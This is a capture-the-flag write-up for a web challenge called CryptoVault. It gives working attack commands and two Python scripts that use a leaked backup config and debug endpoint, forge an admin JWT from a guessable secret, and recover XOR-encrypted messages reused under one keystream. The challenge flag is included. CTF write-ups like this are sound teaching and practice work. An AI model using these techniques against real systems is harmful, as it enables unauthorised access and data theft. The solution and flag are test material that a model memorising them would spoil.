Category: Web Exploitation
Flag: apoorvctf{3v3ry_5y573m_h45_4_w34kn355}
Challenge Description
CryptoVault - Secure Message Storage Platform. So can you get the secure message from the military grade security provided by our platform.
Analysis
The app looked like a normal login/register Flask frontend at first, but the homepage immediately leaked deployment breadcrumbs in HTML comments. That gave the whole solve path very quickly.
curl -sL "http://chals1.apoorvctf.xyz:8001/"<!-- Powered by CryptoVault API v1 -->
<!-- Internal build: 1.0.3-dev -->
<!-- Debug endpoint available at /api/v1/health for system status -->
...
<!-- Developer Notes:
- API Base: /api/v1/
- Backup config was moved to /backup/ directory
- Old JS app bundle still references config paths, clean up later
- See /static/js/app.js for frontend API integration
-->That was already suspicious, and robots.txt confirmed hidden routes worth testing.
curl -s "http://chals1.apoorvctf.xyz:8001/robots.txt"# CryptoVault Crawler Rules
User-agent: *
Disallow: /backup/
Disallow: /api/v1/debug
Disallow: /api/v1/internal/The frontend JavaScript made it even more direct by hardcoding a backup config path and explicitly hinting that debug auth material is in backup files.
curl -sL "http://chals1.apoorvctf.xyz:8001/static/js/app.js"const API_CONFIG = {
apiBase: '/api/v1',
backupConfig: '/backup/config.json.bak',
};
...
console.log(' - /debug (requires API key from backup config)');At that point, grabbing the backup file was the intended vulnerability: exposed sensitive configuration in a web-accessible backup path.
curl -sL "http://chals1.apoorvctf.xyz:8001/backup/config.json.bak"{"api_key":"d3v3l0p3r_acc355_k3y_2024","app_name":"CryptoVault","database":"sqlite:///cryptovault.db","debug_mode":true,"internal_endpoints":["/api/v1/debug","/api/v1/health","/api/v1/vault/messages"],"jwt_algorithm":"HS256","notes":"Remember to rotate the API key before production deployment!","version":"1.0.3-internal"}Using that API key against debug leaked the JWT derivation hint and vault internals. This was the second major weakness: debug endpoint left enabled in production with high-value secrets.
curl -sL -H "X-API-Key: d3v3l0p3r_acc355_k3y_2024" "http://chals1.apoorvctf.xyz:8001/api/v1/debug"{"debug_info":{"auth_config":{"algorithm":"HS256","roles":["viewer","editor","admin"],"secret_derivation_hint":"Company name (lowercase) concatenated with founding year","secret_key_hash_sha256":"e53e6e2d3018dce302f876eda97d3852f5f1a81192a5f947ed89da9832ea17b8","token_expiry_hours":2},"company_info":{"domain":"cryptovault.io","founded":2026,"name":"CryptoVault"},"framework":"Flask","python_version":"3.11.x","server":"CryptoVault v1.0.3","vault_info":{"access_level_required":"admin","encryption_method":"XOR stream cipher","endpoint":"/api/v1/vault/messages","total_encrypted_messages":15},"warning":"This debug endpoint should be disabled in production!"}}From this, the secret becomes cryptovault2026 (cryptovault + 2026). Forging an admin JWT worked on the first try, which was very satisfying.

I used that forged token to fetch all encrypted vault messages.
# exploit_vault.py
import re
import jwt
import requests
BASE = "http://chals1.apoorvctf.xyz:8001"
SECRET = "cryptovault2026"
payload = {"username": "admin", "role": "admin"}
token = jwt.encode(payload, SECRET, algorithm="HS256")
headers = {"Authorization": f"Bearer {token}"}
resp = requests.get(f"{BASE}/api/v1/vault/messages", headers=headers, timeout=15)
print(f"status={resp.status_code}")
print(resp.text)
m = re.search(r"[A-Za-z0-9_]+\{[^}]+\}", resp.text)
if m:
print(f"FLAG_FOUND={m.group(0)}")python exploit_vault.pystatus=200
{"access_level":"admin","message":"Military secure vault accessed","messages":[{"ciphertext_hex":"f1a7...","id":1,...},{"ciphertext_hex":"e6a1...","id":2,...}, ... ]}That still only gave ciphertexts. The annoying part was that many decrypted fragments looked like plausible flags but were distractions, and the challenge title/description really leaned into that misdirection.

The final break came from treating it as a multi-time-pad XOR stream reuse problem and recovering per-position key bytes by scoring printable English over all ciphertext columns. Running the recovery script surfaced the sentence containing the real flag and printed an exact regex match.
python recover_flag_exact.py[+] Decrypted messages (best-effort):
...
13: ... the real flag is apoorvctf{3v3ry_5y573m_h45_4_w34kn355} and all others are distractions ...
FLAG_FOUND=apoorvctf{3v3ry_5y573m_h45_4_w34kn355}So the core vulnerability chain was exposed backup config -> debug data leak -> JWT forgery -> admin vault access, followed by cryptanalysis of reused XOR keystream across multiple ciphertexts.
Solution
# recover_flag_exact.py
import re
import string
import jwt
import requests
BASE = "http://chals1.apoorvctf.xyz:8001"
SECRET = "cryptovault2026"
CHAR_SCORES = {
" ": 4.5,
"e": 3.5, "t": 3.2, "a": 3.0, "o": 2.9, "i": 2.8, "n": 2.8,
"s": 2.6, "r": 2.6, "h": 2.5, "l": 2.3, "d": 2.1, "u": 2.0,
"c": 2.0, "m": 1.9, "f": 1.8, "w": 1.8, "g": 1.7, "y": 1.7,
"p": 1.6, "b": 1.5, "v": 1.4, "k": 1.2, "x": 0.8, "j": 0.6,
"q": 0.5, "z": 0.5,
}
ALLOWED = set(string.printable) - set("\t\n\r\x0b\x0c")
def char_score(ch: str) -> float:
if ch not in ALLOWED:
return -20.0
if ch in CHAR_SCORES:
return CHAR_SCORES[ch]
cl = ch.lower()
if cl in CHAR_SCORES:
return CHAR_SCORES[cl] - 0.3
if ch.isdigit():
return 1.0
if ch in "{}_-.,:;!?'/()*":
return 0.8
return 0.2
def main():
token = jwt.encode(
{"username": "admin", "role": "admin"}, SECRET, algorithm="HS256"
)
r = requests.get(
f"{BASE}/api/v1/vault/messages",
headers={"Authorization": f"Bearer {token}"},
timeout=15,
)
r.raise_for_status()
cts = [bytes.fromhex(m["ciphertext_hex"]) for m in r.json()["messages"]]
maxlen = max(len(c) for c in cts)
key = [0] * maxlen
for pos in range(maxlen):
column = [c[pos] for c in cts if pos < len(c)]
best_k = 0
best_score = -(10**9)
for k in range(256):
s = 0.0
for cb in column:
s += char_score(chr(cb ^ k))
if s > best_score:
best_score = s
best_k = k
key[pos] = best_k
plains = []
for c in cts:
p = "".join(chr(c[i] ^ key[i]) for i in range(len(c)))
plains.append(p)
print("[+] Decrypted messages (best-effort):")
for i, p in enumerate(plains, 1):
print(f"{i:02d}: {p}")
blob = "\n".join(plains)
m = re.search(r"apoorvctf\{[^}]+\}", blob)
if m:
print(f"\nFLAG_FOUND={m.group(0)}")
else:
print("\nNo exact flag regex recovered yet.")
if __name__ == "__main__":
main()python recover_flag_exact.pyFLAG_FOUND=apoorvctf{3v3ry_5y573m_h45_4_w34kn355}